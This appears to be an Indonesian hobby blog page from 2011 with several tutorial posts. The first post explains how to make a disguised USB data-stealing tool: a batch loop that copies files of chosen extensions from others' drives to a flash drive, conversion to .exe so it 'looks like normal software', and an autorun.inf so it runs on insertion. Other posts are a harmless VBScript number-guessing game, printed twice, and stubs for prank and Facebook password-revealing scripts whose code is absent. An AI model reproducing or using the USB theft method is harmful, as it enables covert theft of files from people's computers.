WARNING!!!
...
Cara gokil merampok data di komputer dengan USB Flash Drive
Posted by anak gokil
On Selasa, 22 Maret 2011
Hallo bro Pada kesempatan ini gue akan sharing mengenai ngerampok data di komputer dengan USB Flash Drive.. ok langsung mulai aja yuk,...
- Buka notepad pertama . .. kalau ga tau, klik start => all programs => accessories => notepad. kalo udah tulis code di bawah ini.
mohon maaf fasilitas klik kanan gw matikan, untuk mengcopy silahkan tekan tombol
highlight all, kemudian tekan CTRL + C
jangan di klik kanan ya!!!,....
2. Save file tersebut dengan nama terserah (bisa diganti apa aja) .bat dan save as type all files .,
Sekarang coba di jalankan file dengan exstensi bat tersebut maka di samping File akan terbuat semua file yang di copy dari drive C sampai D
Code di atas dapat di ubah atau di tambah sesuai dengan keinginan kalian masing-masing bisa di tambahkan kode
For /f “tokens=*” %%b in (‘dir /a/b/s%%a:\*.zip’) do(
attrib –s –h –r “%%b”
copy “%%b” “%silent%” /y)
maka file yang berextensi zip akan masuk ke Flash Disk lo ( lumayan kan? dapat software kompresan gratis lagi hehehe,....)
ubah sesuai extensi apa yang lo inginkan misalnya *.pdf atau *.html
maka file terserah.bat akan berjalan sesuai dengan keinginan lo .
File tersebut bisa lo ubah ke bentuk extensi exe. .. dengan software Bat_To_Exe_ConverterV1.5 kalau belum punya lo semua bisa download di http://www/brothersoft.com/bat-to-exe-converter-50301.html
Cara mengubahnya adalah
- Buka software tersebut..
- Pilih yang compile
- Dan sekarang file.bat yang tadi kita buat menjadi file yang berextensi *.exe lebih enak kan ..Jadi disangkanya file software biasa
- Agar file tersebut berjalan maka kita harus buat file autorun
- Buka notepad ketikkan
[autorun]
Open=terserah.exe
- save as dengan nama Autorun.inf dan terserah.exe di dalam directory USB Flash Drive lo..
- Selesai .. Akhirnya sekarang colokkan atau masukkan FD lo di pc mana aja akan terkcopy banyak data yang lo terima hehehe,.... gokil gag tuh,.....????? jangan lupa komentarnya ya awas lupa gue banned lo!!!! (becanda) hehe,.....
cara membuat komputer berbicara
Posted by anak gokil
On
LANGKAH-LANGKAHNYA:
1.BUKA NOTEPAD ( START => ALL PROGRAMS => ACCESSORIES => NOTEPAD )
2.KLO UDAH MASUKIN TULISAN INI:
mohon maaf pasilitas klik kanan gw matikan untuk menghindari para penjiplak sejati, jadi untuk mengcopy tulisan ini
silahkan tekan tombol highlight all, kemudian tekan CTRL+C.jangan di klik kanan ya!!!,...
Atau yang ini :
3. KLO U...DAH KLIK FILE => SAVE AS...
4.FILE NAME : (GANTI) SETERAH.VBS
SAVE AS TYPE : (GANTI) ALL FILES
KLIK DEKSTOP DI SAMPING KIRI (BIAR GAMPANG CARI FILESNYA)
5. KLIK SAVE
6.BUKA FILES YG TADI /KLIK 2X DAN LIHAT HASILNYA.
7.isi kolom tersebut sama tulisan yg lo mau,klo udah klik ok dan dengerin suaranya
TAMBAHAN :
SEBELUM MEMBUKA FILES YG TADI JGN LUPA HIDUPKAN SOUND PADA COMPUTER ANDA
ATAU GUNAKAN HEADPHONE.
OK!!,...
SEKIAN AJA DEH SELAMAT MENCOBA
BUAT TEMEN2 YG PUNYA TIPS DAN TRIK JANGAN LUPA SHARING YA!!!
JANGAN LUPA KOMENTARNYA
----ALFIANT----
java script untuk bermain-main di facebook
Posted by anak gokil
On
caranya sebagai berikut:
1.silahkan pilih dulu tipe java script yang ada dibawah ini
untuk membuat facebook bergetar :
untuk membuat gambar di facebook melayang :
untuk mengacak acak tampilan (klik gambar lalu pindahkan)
untuk mencari password yg tersembunyi
2. lanjut masukan tulisan tersebut pada adress bar :
untuk mengembalikan keseperti semula cukup tekan F5
sekian aja deh semoga bermanfaat
membuat prediksi angka dengan notepad
Posted by anak gokil
On
lama jg gag posting di blog ini,maklum sekarang gw mulai disibukan dengan kegiatan kuliah
ok langsung aja ya sobat blogger pada kesempatan kali ini gw akan share sedikit ilmu gw buat
kalian semua yaitu cara membuat prediksi angka langsung aja ya kita mulai langkahnya.
pertama buka notepad,kemudian masukan tulisan di bawah ini :
atau download
' Judul dan nama = Tebak Angka Misterius (TAM)
' Desain dan program = hacker91
' Produksi = 16 maret 2011 by alfiant_haddy
sub t00()
MsgBox ("Pilih sebuah angka (jangkauan 0 s/d 63)" + Chr(13) + Chr(13) + _
"Camkan, ingatlah, catatlah.." + Chr(13) + Chr(13) + _
"Lalu tekan OK!"), _
vbInformation, "Tebak Angka Misterius"
BilMis=0
if (MsgBox ("Apakah angka pilihan anda terdapat dalam deret berikut?" + Chr(13) + Chr(13) + _
"01, 03, 05, 07, 09, 11, 13, 15, 17, 19, 21, 23, 25, 27, 29, 31," + Chr(13) + _
"33, 35, 37, 39, 41, 43, 45, 47, 49, 51, 53, 55, 57, 59, 61, 63", _
vbYesNo, "hacker91 Tebak Angka Misterius")) = vbYes then BilMis=BilMis+1
if (MsgBox ("Apakah angka pilihan anda terdapat dalam deret berikut?" + Chr(13) + Chr(13) + _
"02, 03, 06, 07, 10, 11, 14, 15, 18, 19, 22, 23, 26, 27, 30, 31," + Chr(13) + _
"34, 35, 38, 39, 42, 43, 46, 47, 50, 51, 54, 55, 58, 59, 62, 63", _
vbYesNo, "hacker91 Tebak Angka Misterius")) = vbYes then BilMis=BilMis+2
if (MsgBox ("Apakah angka pilihan anda terdapat dalam deret berikut?" + Chr(13) + Chr(13) + _
"04, 05, 06, 07, 12, 13, 14, 15, 20, 21, 22, 23, 28, 29, 30, 31," + Chr(13) + _
"36, 37, 38, 39, 44, 45, 46, 47, 52, 53, 54, 55, 60, 61, 62, 63", _
vbYesNo, "hacker91 Tebak Angka Misterius")) = vbYes then BilMis=BilMis+4
if (MsgBox ("Apakah angka pilihan anda terdapat dalam deret berikut?" + Chr(13) + Chr(13) + _
"08, 09, 10, 11, 12, 13, 14, 15, 24, 25, 26, 27, 28, 29, 30, 31," + Chr(13) + _
"40, 41, 42, 43, 44, 45, 46, 47, 56, 57, 58, 59, 60, 61, 62, 63", _
vbYesNo, "hacker91 Tebak Angka Misterius")) = vbYes then BilMis=BilMis+8
if (MsgBox ("Apakah angka pilihan anda terdapat dalam deret berikut?" + Chr(13) + Chr(13) + _
"16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31," + Chr(13) + _
"48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63", _
vbYesNo, "hacker91 Tebak Angka Misterius")) = vbYes then BilMis=BilMis+16
if (MsgBox ("Apakah angka pilihan anda terdapat dalam deret berikut?" + Chr(13) + Chr(13) + _
"32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47," + Chr(13) + _
"48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63", _
vbYesNo, "hacker91 Tebak Angka Misterius")) = vbYes then BilMis=BilMis+32
MsgBox ("Angka pilihan anda adalah.. "& Chr(13) & Chr(13) & BilMis & Chr(13) & Chr(13) & _
"haha,.. ketebak niye,... "), _
vbQuestion, "Tebak Angka Misterius"
MsgBox ("Terima kasih anda sudah mencoba menggunakan program ini " + Chr(13) + Chr(13) + _
"Kritik dan saran konstruktif " + Chr(13) + Chr(13) + _
"Hacker91 by : alfiant"), _
vbInformation, "Tebak Angka Misterius"
' Hack adalah sebuah ilmu yg patut di pelajari
' Karena dapat mengembangkan potensi diri anda untuk berkreasi
' (hacker91)
end sub
' Program Utama ada di sini!!
call t00
' aQ sukses nulis di VBScript
ok langsung aja ya sobat blogger pada kesempatan kali ini gw akan share sedikit ilmu gw buat
kalian semua yaitu cara membuat prediksi angka langsung aja ya kita mulai langkahnya.
pertama buka notepad,kemudian masukan tulisan di bawah ini :
atau download
' Judul dan nama = Tebak Angka Misterius (TAM)
' Desain dan program = hacker91
' Produksi = 16 maret 2011 by alfiant_haddy
sub t00()
MsgBox ("Pilih sebuah angka (jangkauan 0 s/d 63)" + Chr(13) + Chr(13) + _
"Camkan, ingatlah, catatlah.." + Chr(13) + Chr(13) + _
"Lalu tekan OK!"), _
vbInformation, "Tebak Angka Misterius"
BilMis=0
if (MsgBox ("Apakah angka pilihan anda terdapat dalam deret berikut?" + Chr(13) + Chr(13) + _
"01, 03, 05, 07, 09, 11, 13, 15, 17, 19, 21, 23, 25, 27, 29, 31," + Chr(13) + _
"33, 35, 37, 39, 41, 43, 45, 47, 49, 51, 53, 55, 57, 59, 61, 63", _
vbYesNo, "hacker91 Tebak Angka Misterius")) = vbYes then BilMis=BilMis+1
if (MsgBox ("Apakah angka pilihan anda terdapat dalam deret berikut?" + Chr(13) + Chr(13) + _
"02, 03, 06, 07, 10, 11, 14, 15, 18, 19, 22, 23, 26, 27, 30, 31," + Chr(13) + _
"34, 35, 38, 39, 42, 43, 46, 47, 50, 51, 54, 55, 58, 59, 62, 63", _
vbYesNo, "hacker91 Tebak Angka Misterius")) = vbYes then BilMis=BilMis+2
if (MsgBox ("Apakah angka pilihan anda terdapat dalam deret berikut?" + Chr(13) + Chr(13) + _
"04, 05, 06, 07, 12, 13, 14, 15, 20, 21, 22, 23, 28, 29, 30, 31," + Chr(13) + _
"36, 37, 38, 39, 44, 45, 46, 47, 52, 53, 54, 55, 60, 61, 62, 63", _
vbYesNo, "hacker91 Tebak Angka Misterius")) = vbYes then BilMis=BilMis+4
if (MsgBox ("Apakah angka pilihan anda terdapat dalam deret berikut?" + Chr(13) + Chr(13) + _
"08, 09, 10, 11, 12, 13, 14, 15, 24, 25, 26, 27, 28, 29, 30, 31," + Chr(13) + _
"40, 41, 42, 43, 44, 45, 46, 47, 56, 57, 58, 59, 60, 61, 62, 63", _
vbYesNo, "hacker91 Tebak Angka Misterius")) = vbYes then BilMis=BilMis+8
if (MsgBox ("Apakah angka pilihan anda terdapat dalam deret berikut?" + Chr(13) + Chr(13) + _
"16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31," + Chr(13) + _
"48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63", _
vbYesNo, "hacker91 Tebak Angka Misterius")) = vbYes then BilMis=BilMis+16
if (MsgBox ("Apakah angka pilihan anda terdapat dalam deret berikut?" + Chr(13) + Chr(13) + _
"32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47," + Chr(13) + _
"48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63", _
vbYesNo, "hacker91 Tebak Angka Misterius")) = vbYes then BilMis=BilMis+32
MsgBox ("Angka pilihan anda adalah.. "& Chr(13) & Chr(13) & BilMis & Chr(13) & Chr(13) & _
"haha,.. ketebak niye,... "), _
vbQuestion, "Tebak Angka Misterius"
MsgBox ("Terima kasih anda sudah mencoba menggunakan program ini " + Chr(13) + Chr(13) + _
"Kritik dan saran konstruktif " + Chr(13) + Chr(13) + _
"Hacker91 by : alfiant"), _
vbInformation, "Tebak Angka Misterius"
' Hack adalah sebuah ilmu yg patut di pelajari
' Karena dapat mengembangkan potensi diri anda untuk berkreasi
' (hacker91)
end sub
' Program Utama ada di sini!!
call t00
' aQ sukses nulis di VBScript
kemudian klik save as,,... file name ganti dengan prediksi.vbs
save as type ganti dengan all files lalu klik save
cara setting firefox,merubahnya menjadi lebih cepat
Posted by anak gokil
On Sabtu, 15 Januari 2011
Selamat Datang
Jgn Lupa Comment
Widget by: Facebook Develop by: kumpulancara